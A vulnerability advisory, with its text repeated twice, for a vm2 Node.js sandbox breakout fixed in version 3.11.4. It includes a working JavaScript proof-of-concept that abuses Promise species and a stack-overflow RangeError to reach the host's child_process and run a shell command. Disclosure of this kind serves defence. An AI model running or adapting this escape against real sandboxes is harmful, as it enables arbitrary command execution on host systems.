CVE-2026-47208

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.